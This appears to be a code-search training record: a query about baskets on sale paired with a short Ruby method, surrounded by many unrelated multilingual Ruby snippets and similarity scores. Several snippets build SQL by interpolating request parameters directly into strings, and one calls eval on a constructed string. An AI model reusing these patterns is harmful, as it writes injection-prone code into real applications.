\"Agosto\", 9 => \"Septiembre\", 10 => \"Octubre\", 11 => \"Noviembre\", 12 => \"Diciembre\"]\n font_size 10\n document_content\n end", "def terpene; end", "def rossini; end", "def deco_pos; end", "def auto_recibir\n g = Guia.find(params[:id])\n carpeta = 188\n buzones = g.copias.collect{|c| c.buzon_id}.uniq\n carpetas = g.copias.collect{|c| c.carpeta_id}.compact\n if buzones === [95] and carpetas.length == 0\n #FIXME falta filtrar solo los docs = oficio\n Guia.find(2863).copias.each{|c| c.recibir_auto(current_user) unless c.estado_id == 5; c.archivar_auto(current_user,carpeta); c.save}\n end\n end", "def preenche_parcelas_recorrencia\n return unless recorrencia\n \n if recorrencia.tipo == 'por'\n recorrencia.data_inicial = data\n recorrencia.parcelas = recorrencia.descobre_parcelas\n else\n recorrencia.parcelas = nil\n end\n end", "def from_ficha\r\n ficha = FichaOdontologica.find(params[:ficha])\r\n @paciente= ficha.paciente\r\n @area= Area.find_by_nombre('Odontología')\r\n @consulta= ConsultaOdontologica.new\r\n get_doctores_odontologia\r\n end", "def sigla; @nome; end", "def nombre_completo\n\tprimer_nombre+\" \"+primer_apellido\n#fin del metodo\nend", "def trd; end", "def nome_perfil\n \tself.descricao\n end", "def get_data()\t\n\tend", "def imprime_ficha\n \n prawnto :prawn => {\n :left_margin => 20,\n :right_margin => 20,\n :top_margin => 400,\n :bottom_margin => 20 }\n \n @paciente = Paciente.find(params[:id]) \n @razon = \"\"\n @razon = @paciente.razon unless @paciente.razon.nil?\n @rfc = \"\"\n @rfc = @paciente.rfc unless @paciente.rfc.nil?\n @consulta = Consulta.find(params[:consulta_id])\n \n if !@consulta.cita.nil?\n @ref_estudio = @consulta.cita.operation.ref_estudio unless @consulta.cita.operation.ref_estudio.nil?\n @fecha_hora = @consulta.cita.fecha_hora unless @consulta.cita.fecha_hora.nil?\n else\n @ref_estudio = \"\"\n @fecha_hora = \"\"\n end\n \n \n \n respond_to do |format|\n #format.html # show.html.erb\n #format.xml { render :xml => @pago }\n format.pdf {render :layout => false }\n end\n end", "def changerEnVide\n\t\t@couleur=-1\n\tend", "def contenido_de_la_posicion(posicion)\n @tablero.contenido_de_la_posicion posicion\n end", "def details; end", "def jeuTermine\n\t\tlancementAventure(@tailleGrille+1)\n\tend", "def notificaciones\n end", "def renglon_a_grafica\n\t\tgenera_renglon_total\n\t\tdevuelto = Hash.new\n\t\t@renglones_reporte[0].id_columnas.each do |key|\n\t\t\tdevuelto[key] = @total[key][:promedio]\n\t\tend\n\t\tdevuelto\n\tend", "def prepara_form\n @enderecos = Endereco.order :rua\n end", "def publ (pippo) \n nPubRec = Publisher.tuttibase\n riga = \"Tabella publishers; Numero Record; #{nPubRec.size} record;.\" \n puts riga \n pippo.scriviRiga(riga)\n\n # verifica che siano presenti tutti gli id\n # usa per questo scopo uno scope (tuttibase) che restituisce solo id, vecchioid e nome seguito\n # dallo scope di nome maxid (vedere model) \n max_id = nPubRec.maxid \n riga = \"Tabella publishers; Massimo id; #{max_id};.\"\n puts riga\n pippo.scriviRiga(riga) \n \n # verifica il valore massimo del campo vecchioid\n # usa per questo scopo uno scope (tuttibase) che restituisce solo id, vecchioid e nome \n # al quale applichiamo lo scope maxvecchioid\n max_vecchioid = nPubRec.maxvecchioid\n riga = \"Tabella publishers; Massimo vecchioid; #{max_vecchioid};.\"\n puts riga\n pippo.scriviRiga(riga) \n\n # verifica numero dei record bidone stringa \"nonono \" in nome\n # usa per questo scopo uno scope (tuttibase) che restituisce solo id, vecchioid e nome \n # al quale applichiamo lo scope maxvecchioid\n mieibidoni = nPubRec.bidoni\n riga = \"Tabella publishers; Numero di bidoni presenti; #{mieibidoni.size};.\"\n staRiga(riga, pippo)\n\n # verifica che non esistano doppioni nei valori di vecchioid\n gruppiVID = Publisher.gruppiVECCHIOID\n primoPub = gruppiVID[1].inspect\n puts primoPub\n staRiga(\"Tabella publishers; Verifica duplicazioni vecchioid; #{gruppiVID.size};.\", pippo )\nend", "def before_update_save(record)\n record.puesto_id = nil\n record.origen_id = record.buzon_id\n record.carpeta_id = nil\n record.add_traza(current_user.id, 8, current_user.puesto.buzon_id)\n if record.documento.digital \n record.despachar\n else\n record.estado_id = 6\n end\n end", "def sauvegarder(unNom)\n\t\tif nbSaves() >= 8\n\t\t\tdialog = Gtk::Dialog.new(\"Alerte\",\n \t $main_application_window,\n \t :destroy_with_parent,\n \t [ Gtk::Stock::OK, :none ])\n \t\t\tdialog.set_window_position(:center_always)\n\n \t # Ensure that the dialog box is destroyed when the user responds.\n \t dialog.signal_connect('response') { dialog.destroy }\n\n \t # Add the message in a label, and show everything we've added to the dialog.\n \t dialog.child.add(Gtk::Label.new( \"\\nImpossible:nombre maximum de sauvegardes atteint (8/8)!\\n\" ))\n \t dialog.show_all\n\t\telse\n\t\t\t# Serialisation des différentes classes\n\t\t\thypo = @hypo.to_yaml()\n\n\t\t\t# Ecriture dans le fichier\n\t\t\tmonFichier = File.open(\"../sauvegardes/\"+unNom, \"w\")\n\t\t\tmonFichier.write(hypo)\n\t\t\tmonFichier.write(\"***\\n\")\n\t\t\tmonFichier.write(@pseudo)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\t\t\tmonFichier.write(@inc)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\t\t\tmonFichier.write(@time)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\t\t\tmonFichier.write(@cheminMap)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\t\t\tmonFichier.write(@nbHypo)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\n\t\t\t# Fermeture du fichier\n\t\t\tmonFichier.close\n\t\tend\n\tend", "def offences_by; end", "def devolver_azucar \n\t\treturn @azucares\n\tend", "def rafraichir\n\t\tj = @jeu.joueur\n\t\tpos = j.position\n\n\t\t@jeu.tourSuivant( @jeu.carte.vueJoueur(pos,15) )\n\t\t@interface.setVue( @jeu.carte.vueJoueur(pos,@interface.taille) )\n\t\t@interface.setPV( j.pointsDeVie, j.pointsDeVieMax )\n\t\t@interface.setED( j.endurance, j.enduranceMax )\n\t\t@interface.setScore( j.score )\n\t\t@interface.setNbTour( @jeu.nbTour )\n\t\t@interface.setOr( j.or )\n\t\tif j.position.objet\n\t\t\t@interface.setAction( \"Ramasser #{j.position.objet.getNom}\" )\n\t\telsif j.position.pnj\n\t\t\t@interface.setAction( j.position.pnj.actionNom )\n\t\telsif j.position.type.nom == \"herbe\"\n\t\t\t@interface.setAction( \"Regarder l'herbe pousser\" )\n\t\telsif j.position.type.nom == \"desert\"\n\t\t\t@interface.setAction( \"Compter les grains de sable\" )\n\t\telsif j.position.type.nom == \"eau\"\n\t\t\t@interface.setAction( \"Faire la planche\" )\n\t\telse\n\t\t\t@interface.setAction( \"Rien à faire\" )\n\t\tend\n\tend", "def chargementJeu(nomJoueur)\n @sauvegardeYaml = SauvegardeYAML.creer(nomJoueur)\n @sauvegarde = @sauvegardeYaml.chargement()\n @joueur = @sauvegarde.joueur\n nom=@joueur.nom.split(\".\")\n @joueur.nom = nom[0]\n print @joueur.nom\n @carte = @sauvegarde.carte\n @nbTour = @sauvegarde.nbTour\n\tend", "def retrieve\n end", "def get_rover_details; end", "def save\n temp = eval(self.class.name.to_s + \".find(\" + self.id.to_s + \")\") unless self.new_record? ## moze to zmienic, zeby nie odwolywac sie dodatkowo do bazy ? ;)\n \n ##DO ZMIANY PO ZAINSTALOWANIU BORTA \n self.edited_by = 33\n #self.edited_by = current_user.id\n self.user_stamp = @user_stamp\n \n wrk1 = self.changed? & !self.new_record?\n wrk2 = super\n\n archiving temp unless !(wrk1 & wrk2)\n \n wrk2\n end", "def cp_e\n end", "def controlQxxt(jugadalot)\n \n @modelo = Aliasmodelosiglasorteot.where(:siglasorteo => jugadalot.sorteot.sigla).first.modelocontrolq \n @modelo = @modelo.capitalize.classify.constantize # Esto para convertir string en constante y poder acceder al modelos de Active Record. Scado de este link: https://stackoverflow.com/questions/34757582/using-variables-for-model-names-in-active-record \n c = @modelo.where(:numero => jugadalot.n1.to_i).first\n (c.limite - c.vendida) - jugadalot.monto # retorna la diferencia. # Disponible = (c.limite - c.vendida) \n\n end", "def post_reader; end", "def rassoc(p0) end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def documento_debito(pdivem, ptipoid, pmotivoid, pcontrol, pnid, pfecha, pmonto, puser)\n respon = {\"opc\" => \"06\"}\n respon[\"msgerror\"] = \"\"\n\n #datos del cliente\n cte = Cliente.where(\"id = #{pnid} \").first\n if cte == nil\n respon[\"msgerror\"] = merror(21,7) #Cliente no existe\n @responde = respon\n return\n end\n\n tpdocum = Tipodocumento.where(\"divem_id = #{pdivem} AND id = '#{ptipoid}'\").first\n if tpdocum == nil\n respon[\"msgerror\"] = merror(21,9) #No existe el tipo de documento\n @responde = respon\n return\n end\n\t\tpdocumento_num = 1\n\t\t@recibo = Recibo.where(\"divem_id = #{pdivem}\").last;\n\t\tif @recibo != nil\n\t\t\tpdocumento_num = @recibo.documento_num\n\t\tend\n\t\t@vendedor = Cobradore.where(\"usuario = '#{puser}'\").first\n\t\tpvendedor_id = @vendedor.id\n\t\tmotivo_id = pmotivoid\n\t\t@tipodoc = Tipodocumento.where(\"id = #{ptipoid}\").first\n\t\tsecuencia_ncf = Secuenciasncfdet.where(\"id = #{@tipodoc.ncf_id}\").first\n @cliente = Cliente.where(\"id = #{pnid}\").first\n ncf = @tipodoc.getNCFSecuencia('A', pfecha, @cliente.tipo_fiscal)\n\t\tnumero_documento = @tipodoc.getSecuencia('A')\n\t\tActiveRecord::Base.connection.execute(\"INSERT INTO recibos_cab(divem_id, motivo_id, documento_num, cliente_id, fecha, vendedor_id,\n\t\t\t\t\t\t\t\t\t monto_recibo, comentario, estatus_recibo, created_by, updated_by,\n\t\t\t\t\t\t \t\t\t created_at, updated_at, tipodocumento_id, ncf)\n\t\t\t\t\t\t VALUES(#{pdivem}, #{motivo_id}, '#{numero_documento}', #{pnid}, '#{pfecha}', \n\t\t\t\t\t\t\t #{pvendedor_id}, #{pmonto},'', 'A', '#{puser}',\n\t\t\t\t\t\t\t '#{puser}', '#{Date.today}', '#{Date.today}', #{ptipoid}, '#{ncf}')\")\n\t\t@recibo = Recibo.last\n\t\tmotivo = Motivo.where(\"id = #{@recibo.motivo_id}\").first\n\t\trespon[\"tipo_doc\"] = encrypta(tpdocum.descripcion,@algorithm,@llave)\n\t\trespon[\"documento_num\"] = encrypta(@recibo.documento_num.to_s,@algorithm,@llave)\n\t\trespon[\"monto\"] = encrypta('%.2f' % @recibo.monto_recibo,@algorithm,@llave)\n\t\trespon[\"cliente_nombre\"] = encrypta(@cliente.nombre_cliente,@algorithm,@llave)\n\t\trespon[\"motivo_nombre\"] = encrypta(motivo.descripcion,@algorithm,@llave)\n\t\trespon[\"fecha\"] = encrypta(Date.today.strftime(\"%d-%m-%Y\"),@algorithm,@llave)\n\t\trespon[\"hora\"] = encrypta(Time.now.strftime(\"%H:%M:%S\"),@algorithm,@llave)\n\t\tarrdeta = []\n\t\tif @recibo == nil\n\t\t\t@recibo = 0\n\t\telse\n\t\t\t@recibo = @recibo.id\n\t\tend\n\t\t#Insertar Registro en CCTranscab#\n\t\t@cctranscab = Cctranscab.new\n\t\t@cctranscab.divem_id = pdivem\n\t\t@cctranscab.motivo_id = motivo_id\n\t\t@cctranscab.fecha = pfecha\n\t\t@cctranscab.documento_num = numero_documento\n\t\t@cctranscab.tipodocumento_id = @tipodoc.id\n\t\t@cctranscab.cliente_id = pnid\n\t\tmotivo = Motivo.where(\"id = #{motivo_id}\").first\n\t\t@cctranscab.detalle_motivo = motivo.descripcion\n\t\t@cctranscab.dbcr= '-1'\n\t\t@cctranscab.monto_bruto = pmonto\n\t\t@cctranscab.monto_desc = 0\n\t\t@cctranscab.monto_tax = 0\n\t\t@cctranscab.monto_neto = pmonto\n\t\t@cctranscab.estatus_doc = 'A'\n\t\tif @tipodoc.usa_ncf == 'S'\n\t\t\tsecuencia_ncf = Secuenciasncfdet.where(\"id = #{@tipodoc.ncf_id}\").first\n\t\t\t@cctranscab.ncf = ncf\n\t\tend\n\t\t@cctranscab.dias_vence = 0\n\t\t@cctranscab.created_by = puser\n\t\t@cctranscab.updated_by = puser\n\t\t@cctranscab.created_at = Date.today\n\t\t@cctranscab.updated_at = Date.today\n\t\t@cctranscab.save\n\t\telCcTranscab = Cctranscab.where(\"divem_id = #{pdivem}\").last\n\t\ttranscab_id = elCcTranscab.id\n\t\ti = 0\n\t\tz = 1\n\t\taplicado_a_mora = 0\n\t\taplicado_a_interes = 0\n\t\taplicado_a_capital = 0\n\t\tlinea_capital = 0\n\t\tmto_pagare = \"\"\n\t\tabono_det = \"\" \n\t\tres = ActiveRecord::Base.connection.execute(\"SELECT get_ccdistribuir_recibo(#{pdivem}, #{pnid}, #{pmonto}, '0', 2, 1)\") \n\t\t@detalles_cliente = Tmprecibodistribucion.all\n\t\tmonto_recibo_total = pmonto.to_f \n\t\t@detalles_cliente.each do |a|\n\t\t\tcc_trans_cab = Cctranscab.where(\"id = #{a.cctranscab_id}\").first\n\t\t\tvcapital = nil\n\t\t\tvinteres = nil\n\t\t\tvmora = nil\n\t\t\tmonto_capital = 0\n\t\t\tmonto_interes = 0\n\t\t\tvalor_saldado = 0\n\t\t\tcapital_pendiente = 0\n\t\t\tinteres_pendiente = 0\n\t\t\tvalor_cuota = 0\n\t\t\tmonto_mora = 0\n\t\t\tvalor_mora = 0\n\t\t\tmonto = a.abono.to_f\n\t\t\tmonto_pendi = a.monto_pagare.to_f\n\t\t\tif monto.to_f > monto_pendi.to_f \n\t\t\t\tmonto_recibo_total -= a.abono.to_f\n\t\t\telse\n\t\t\t\tmonto_recibo_total = 0\n\t\t\tend\n\t\t\tif monto.to_f > 0\n\t\t\t\tvmora = Cctransdet.where(\"cctranscab_id = #{a.cctranscab_id} AND linea_apl = #{a.pagare} AND modo_afecta = 'M'\").first\n\t\t\t\tif vmora != nil\t\t\t\n\t\t\t\t\tvalor_mora = vmora.monto_neto.to_f\n\t\t\t\t\tif valor_mora > 0\n\t\t\t\t\t\tif monto.to_f > 0\n\t\t\t\t\t\t\tmonto_mora = monto.to_f\n\t\t\t\t\t\tend\n\t\t\t\t\tend \n\t\t\t\tend\n\t\t\t\tif monto_mora > 0\n\t\t\t\t\tmonto_capital = 0\n\t\t\t\t\tmonto_interes = 0\n\t\t\t\telse\n\t\t\t\t\tvalor_capital = 0\n\t\t\t\t\tvcapital = Cctransdet.where(\"cctranscab_id = #{a.cctranscab_id} AND linea_apl = #{a.pagare} AND modo_afecta = 'C'\").first\n\t\t\t\t\tif vcapital != nil\n\t\t\t\t\t\tvalor_capital = vcapital.monto_neto.to_f\n\t\t\t\t\tend\t\n\t\t\t\t\tvalor_interes = 0\n\t\t\t\t\tvinteres = Cctransdet.where(\"cctranscab_id = #{a.cctranscab_id} AND linea_apl = #{a.pagare} AND modo_afecta = 'I'\").first\n\t\t\t\t\tif vinteres != nil\n\t\t\t\t\t\tvalor_interes = vinteres.monto_neto.to_f\n\t\t\t\t\tend\n\t\t\t\t\tlogger.info(\"Valor Interes = \" + valor_interes.to_s)\n\t\t\t\t\tvalor_cuota = valor_capital + valor_interes\n\t\t\t\t\tcapital_pendiente = valor_capital\n\t\t\t\t\tinteres_pendiente = valor_interes\n\t\t\t\t\tvalor_saldado = valor_cuota.to_f - monto_pendi.to_f\t\t\t\t\t\t\t\n\t\t\t\t\tlogger.info(\"Valor Cuota = \" + valor_cuota.to_s)\n\t\t\t\t\tlogger.info(\"Valor Pendiente = \" + monto_pendi.to_s)\n\t\t\t\t\tlogger.info(\"Valor Saldado = \" + valor_saldado.to_s)\n=begin\n\t\t\t\t\tif valor_saldado > 0\n\t\t\t\t\t\tif valor_saldado > valor_interes\n\t\t\t\t\t\t\tcapital_pendiente = valor_capital - (valor_saldado - valor_interes)\n\t\t\t\t\t\t\tinteres_pendiente = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tcapital_pendiente = valor_capital\n\t\t\t\t\t\t\tinteres_pendiente = valor_interes - valor_saldado\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n=end\n\t\t\t\t\tif monto.to_f > interes_pendiente\n\t\t\t\t\t\t#monto_capital = monto.to_f - interes_pendiente\n\t\t\t\t\t\tmonto_interes = monto.to_f - interes_pendiente\n\t\t\t\t\t\tif monto.to_f - monto_interes > 0\n\t\t\t\t\t\t\tmonto_capital = monto.to_f - monto_interes \n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tmonto_capital = 0\n\t\t\t\t\t\tmonto_interes = monto.to_f\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tlogger.info(\"Valor Capital = \" + monto_capital.to_s)\n\t\t\t\tlogger.info(\"Valor Interes = \" + monto_interes.to_s)\n\t\t\t\tlogger.info(\"Valor Mora = \" + monto_mora.to_s)\n\t\t\t\tfor vcaso in 1..3\n\t\t\t\t\tvmto_aplica = 0.00\n\t\t\t\t\tvmod_efecta = 'Vacio'\n\t\t\t\t\tcase vcaso\n\t\t\t\t\t\twhen 1\n\t\t\t\t\t\t\tvmto_aplica = monto_capital.to_f\n\t\t\t\t\t\t\tvmod_efecta = 'C'\n\t\t\t\t\t\t\taplicado_a_capital += monto_capital\n\t\t\t\t\t\twhen 2\n\t\t\t\t\t\t\tvmto_aplica = monto_interes.to_f\n\t\t\t\t\t\t\tvmod_efecta = 'I'\n\t\t\t\t\t\t\taplicado_a_interes += monto_interes\n\t\t\t\t\t\twhen 3\n\t\t\t\t\t\t\tvmto_aplica = monto_mora.to_f\n\t\t\t\t\t\t\tvmod_efecta = 'M'\n\t\t\t\t\t\t\taplicado_a_mora += monto_mora\n\t\t\t\t\tend\n\t\t\t\t\tif vmto_aplica > 0\n\t\t\t\t\t\t@cctransdet = Cctransdet.new\n\t\t\t\t\t\t@cctransdet.cctranscab_id = transcab_id\n\t\t\t\t\t\t@cctransdet.linea = z\n\t\t\t\t\t\t@cctransdet.referencia_apl = a.doc + \"-\" + a.numero.to_s\n\t\t\t\t\t\t@cctransdet.cctransaplica_id = a.cctranscab_id\n\t\t\t\t\t\t@cctransdet.linea_apl = a.pagare\n\t\t\t\t\t\t@cctransdet.fecha_vence = a.fecha_vence\n\t\t\t\t\t\t@cctransdet.dbcr = '-1'\n\t\t\t\t\t\t@cctransdet.monto_bruto = vmto_aplica\n\t\t\t\t\t\t@cctransdet.monto_desc = 0\n\t\t\t\t\t\t@cctransdet.monto_tax = 0\n\t\t\t\t\t\t@cctransdet.monto_neto = vmto_aplica\n\t\t\t\t\t\t@cctransdet.estatus_linea = 'A'\n\t\t\t\t\t\t@cctransdet.modo_afecta = vmod_efecta.to_s\n\t\t\t\t\t\t@cctransdet.save\n\t\t\t\t\t\tdetresp = {\"referencia\" => encrypta(@cctransdet.referencia_apl,@algorithm,@llave)}\n\t\t\t\t\t\t#detresp = {\"pagare\" => encrypta(a.pagare,@algorithm,@llave)}\n\t\t\t\t\t\tdetresp[\"fecha\"] = encrypta(@cctranscab.fecha.strftime(\"%d-%m-%Y\"),@algorithm,@llave)\n\t\t\t\t\t\tdetresp[\"monto_det\"] = encrypta('%.2f' % @cctransdet.monto_bruto,@algorithm,@llave)\n\t\t\t\t\t\tarrdeta[i] = detresp\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tz += 1\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\t\tActiveRecord::Base.connection.execute(\"UPDATE recibos_cab SET aplicadoa_mora = #{aplicado_a_mora}, aplicadoa_capital = #{aplicado_a_capital}, aplicadoa_interes = #{aplicado_a_interes} WHERE id = #{@recibo}\")\n\t\tmonto_efectivo = pmonto\n\t\t@doc_afe_cja = @tipodoc.afecta_caja\n\t\tcurrent_user = User.where(\"login = '#{puser}'\").first \n\t\t@user_caja = current_user.default_caja\n\t\tif @doc_afe_cja == 'S'\n\t\t\tif @user_caja != nil and @user_caja !=0\n\t\t\t\tcjtranscab = Cjtranscab.new\n\t\t\t\tcjtranscab.divem_id = pdivem\n\t\t\t\tcjtranscab.documento_num = numero_documento\n\t\t\t\tcjtranscab.tipodocumento_id = @tipodoc.id\n\t\t\t\tcjtranscab.caja_id = @user_caja\n\t\t\t\tdivem = Divem.where(\"id = #{current_user.default_divem}\").first\n\t\t\t\tif divem.divemscategoria_id == 1\n\t\t\t\t\tcjtranscab.modulo = 'P'\n\t\t\t\telsif divem.divemscategoria_id == 2\n\t\t\t\t\tcjtranscab.modulo = 'I'\n\t\t\t\telse\n\t\t\t\t\tcjtranscab.modulo = 'S'\n\t\t\t\tend\n\t\t\t\tcjtranscab.fecha = pfecha\n\t\t\t\tcjtranscab.transacc_id = @cctranscab.id\n\t\t\t\tcjtranscab.monto = pmonto\n\t\t\t\tcjtranscab.save\n\t\t\t\tif monto_efectivo.to_f > 0\n\t\t\t\t\tcjtransformapago = Cjtransformapago.new\n\t\t\t\t\tcjtransformapago.forma_pago = 'EF'\n\t\t\t\t\tcjtransformapago.monto = monto_efectivo\n\t\t\t\t\tcjtransformapago.cjtranscab_id = cjtranscab.id\n\t\t\t\t\tcjtransformapago.save\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\n\t\t#@razon = Motivo.where(\"id = #{pmotivoid}\").first\n\t\t#if @razon == nil\n # respon[\"msgerror\"] = merror(21,10) #No existe el motivo\n # @responde = respon\n # return\n #end\n respon[\"detalle\"] = arrdeta\n @responde = respon\n end", "def schumann; end", "def get_rear()\n \n end", "def objet_designation\n \"Objet de classe #{objet.class} et d'ID ##{objet.id}\"\n end", "def extrato\n\n end", "def edit\n\n\t\tsession[:QUELLEN_CHANGE_ALL] = 0\n\t\tsession[:SENKEN_CHANGE_ALL] = 0\n\n\t\t@system = System.find(cookies[:system_id])\n\t\t@kreuzschiene = Kreuzschiene.find(params[:id])\n\t @families = Family.find(:all, :order => 'nummer ASC')\n\t\tif @kreuzschiene.system_id == @system.id\n\t\t\t@ref_matrix = Kreuzschiene.getAllNamedMatrix(@system).map{|m| [m.name, m.id]}\n\n\t\t\tif params[:page].nil?\n\t\t\t\t@page = \"quellen\"\n\t\t\telse\n\t\t\t\t@page = params[:page]\n\t\t\tend\n\t\t\tif @kreuzschiene.kr_type == \"MIXER\"\n\n\t\t\t\tif @page == \"quellen\"\n\t\t\t\t\tif !@kreuzschiene.ref_matrix_id.nil? && !@kreuzschiene.ref_matrix_id.blank?\n\t\t\t\t\t\t@ref_kr = Kreuzschiene.find(@kreuzschiene.ref_matrix_id)\n\t\t\t\t\t\t@setups = Source.find_all_by_kreuzschiene_id(@ref_kr.id, :order => \"intnummer\", :limit => @ref_kr.input)\n\t\t\t\t\t\tcnt = 0\n\t\t\t\t\t\t@kreuzschiene.getSources.each do |source|\n\t\t\t\t\t\t\tval = @setups[cnt]\n\n\t\t\t\t\t\t\tif val\n\t\t\t\t\t\t\t\tsource.update_attributes(:name4stellig => val.name4stellig, :name5stellig => val.name5stellig, :char6 => val.char6, :char10 => val.char10, :comment => val.comment, :cloneinput => val.cloneinput, :matrix => val.matrix, :quelle => val.quelle, :tallybit => val.tallybit)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tcnt+=1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telsif @page == \"senken\"\n\t\t\t\t\t@setups = MixerTemplateSetup.find_all_by_mixer_template_id_and_system_id(@kreuzschiene.mixer_template_id, @system, :order => \"intnummer\")\n\n\t\t\t\t\tcnt = 0\n\t\t\t\t\t@kreuzschiene.getTargets.each do |@target|\n\t\t\t\t\t\tval = @setups[cnt]\n\t\t\t\t\t\tif val\n\t\t\t\t\t\t @target.update_attributes(:name4stellig => val.name4stellig, :name5stellig => val.name5stellig, :char6 => val.char6, :char10 => val.char10, :comment => val.comment, :mx_tallybit => val.tallybit)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tcnt+=1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif @kreuzschiene.kr_type == \"MATRIX\" && !@kreuzschiene.matrix_type.nil? && @kreuzschiene.matrix_type.title == \"Lawo MONPL\"\n\t\t\t\t\t@signals = SignalQuellen.getQuellenSignals.map{|u| [u.title, u.intnummer]} if @page == \"quellen\"\n\t\t\t\t\t@signals = SignalSenken.getSenkenSignals.map{|u| [u.title, u.intnummer]} if @page == \"senken\"\n\t\t\t\t\t@subclass = getHLSDCollection\n\t\t\t\t\t@component = getHLSDCollection\n\t\t\t\t\t@subcomponent = getHLSDCollection\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t@ch6 = []\n\t\t\t@ch6.push(\"\")\n\t\t\t@kreuzschiene.getChar6.each {|e| @ch6.push(e.char6) }\n\n\t\t\t@tally = getTallyCollection\n\n\t\t\t@matrix = {}\n\t\t\t@matrix[\"\"] = nil\n\t\t\tKreuzschiene.getAllMatrix(@system.id).each {|e| @matrix[e.name] = e.name }\n\t\t\t# render :text => Global::MAXTALLYBIT.inspect and return false\n\n\t\t\tif @kreuzschiene.sources.empty? then\n\t\t\t\t@kreuzschiene.create_io\n\t\t\tend\n\n\t\t\tif @kreuzschiene.targets.empty? then\n\t\t\t\t@kreuzschiene.create_io\n\t\t\tend\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # show.html.erb\n\t\t\tend\n\t\telse\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html { redirect_to :controller=>'systems', :action => \"show\", :id => @system.id }\n\t\t\tend\n\t\tend\n\tend", "def eplore\n end", "def setorden\n @xml = params[:solicitud]\n @arreglo = Orden.validarRemota(@xml)\n if !(@arreglo.nil?)\n # @cliente = Persona.new(@xml[:cliente])\n # @cliente.save\n\n # @tarjeta = @xml[:tarjeta]\n # @tarjeta = TipoPago.new(@tarjeta)\n # @tarjeta.personas_id = @cliente.id\n # @tarjeta.save\n\n # @recoleccion = Direccion.new(@xml[:direccionrecoleccion])\n @entrega = Direccion.new(@xml[:direccionentrega])\n # @recoleccion.save\n @entrega.save\n\n @orden = Orden.new(@xml[:orden])\n @orden.estado = 'Pendiente por recolectar'\n @orden.personas_id= @arreglo[0]\n @orden.save\n\n @paquete = Paquete.new(@xml[:paquete])\n @paquete.ordens_id = @orden.id\n @paquete.personas_id = @arreglo[0]\n @paquete.save\n\n @historico1= Historico.new(:ordens_id => @orden.id, :direccions_id => @arreglo[2], :tipo => 'Recolectada')\n @historico= Historico.new(:ordens_id => @orden.id, :direccions_id => @entrega.id, :tipo => 'Entregada')\n @historico1.save\n @historico.save\n \n @monto = Enviar.montoTotal(@orden.id)\n @iva = (@monto * 0.12).round(2)\n @montototal = @monto + @iva\n Enviar.compania\n @factura = Factura.new(:companias_id => 1, :ordens_id =>@orden.id , :tipo_pagos_id => @arreglo[1] , :costoTotal => @monto ,:iva => @iva)\n @factura.save\n else\n render \"errorxml\"\n end\n end", "def ligar #Metodo/função da classe Carro\n puts 'O carro está pronto para iniciar o trajeto.'\n end", "def save_grip; end" ]
[ "0.6601553", "0.65744996", "0.6187532", "0.6170465", "0.61410266", "0.61410266", "0.6113256", "0.60286474", "0.60106546", "0.5965245", "0.5965245", "0.5897317", "0.58873147", "0.58729345", "0.5745268", "0.568583", "0.56853914", "0.56764615", "0.56762546", "0.5628399", "0.5600206", "0.5599891", "0.5564621", "0.5564621", "0.5564621", "0.5564621", "0.55613583", "0.555965", "0.55546093", "0.55152804", "0.55081", "0.5497738", "0.5497738", "0.5497738", "0.54740506", "0.5463777", "0.5446524", "0.54412144", "0.544098", "0.5408856", "0.54086", "0.5399052", "0.53977686", "0.53869665", "0.53866315", "0.5383044", "0.53811514", "0.53724575", "0.53639084", "0.5350707", "0.53308755", "0.53264445", "0.53257304", "0.5305102", "0.53047097", "0.5296117", "0.5272023", "0.52684975", "0.5266072", "0.5265576", "0.52612525", "0.5257373", "0.5257248", "0.52480114", "0.52423924", "0.5236252", "0.52359325", "0.5233471", "0.52321595", "0.5226879", "0.52265596", "0.5222679", "0.5220758", "0.5214096", "0.5211036", "0.51958644", "0.51947224", "0.5194016", "0.5192304", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.51868474", "0.5185051", "0.51846284", "0.5181892", "0.5181647", "0.51802737", "0.5180017", "0.51793617", "0.51773834", "0.51753306", "0.5173611" ]
0.0
-1
___________ RECUPERATION PANIER EN VENTE ______
def panier_en_vente @paniers_ = Panier.where('revendeur_id = ? AND deleted = 0', self.id) @paniers= [] @paniers_.each do |panier| if panier.has_declinaison @paniers << panier end end return @paniers.count end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def suivre; end", "def Com6 # Recuperation Info\n \n end", "def mi_carrera\n\n\tend", "def verdi; end", "def relatorios\n end", "def recuperationEtape()\n\t\tstring=@techniqueObjet.etape(@etapeEnCours)\n\t\t@texteContenu.set_text(string)\n\tend", "def recuperationEtape()\n\t\tstring=@techniqueObjet.etape(@etapeEnCours)\n\t\t@texteContenu.set_text(string)\n\tend", "def rescatar\n self.estado_id = 1 #salida si lo creo, entrada/foliado si lo redirijo\n self.estado_id = 3 if self.trazas.count(:conditions => 'movimiento_id in (2,7,8)') > 0\n if self.origen.externo\n RAILS_DEFAULT_LOGGER.info \"devolviendo de origen externo #{self.origen.to_label} a #{self.documento.buzon}\"\n self.buzon_id = self.documento.buzon_id\n else\n self.buzon_id = self.origen_id\n end\n self.add_traza(current_user.id, 14, current_user.puesto.buzon_id)\n self.save!\n end", "def posti_disponibili\n 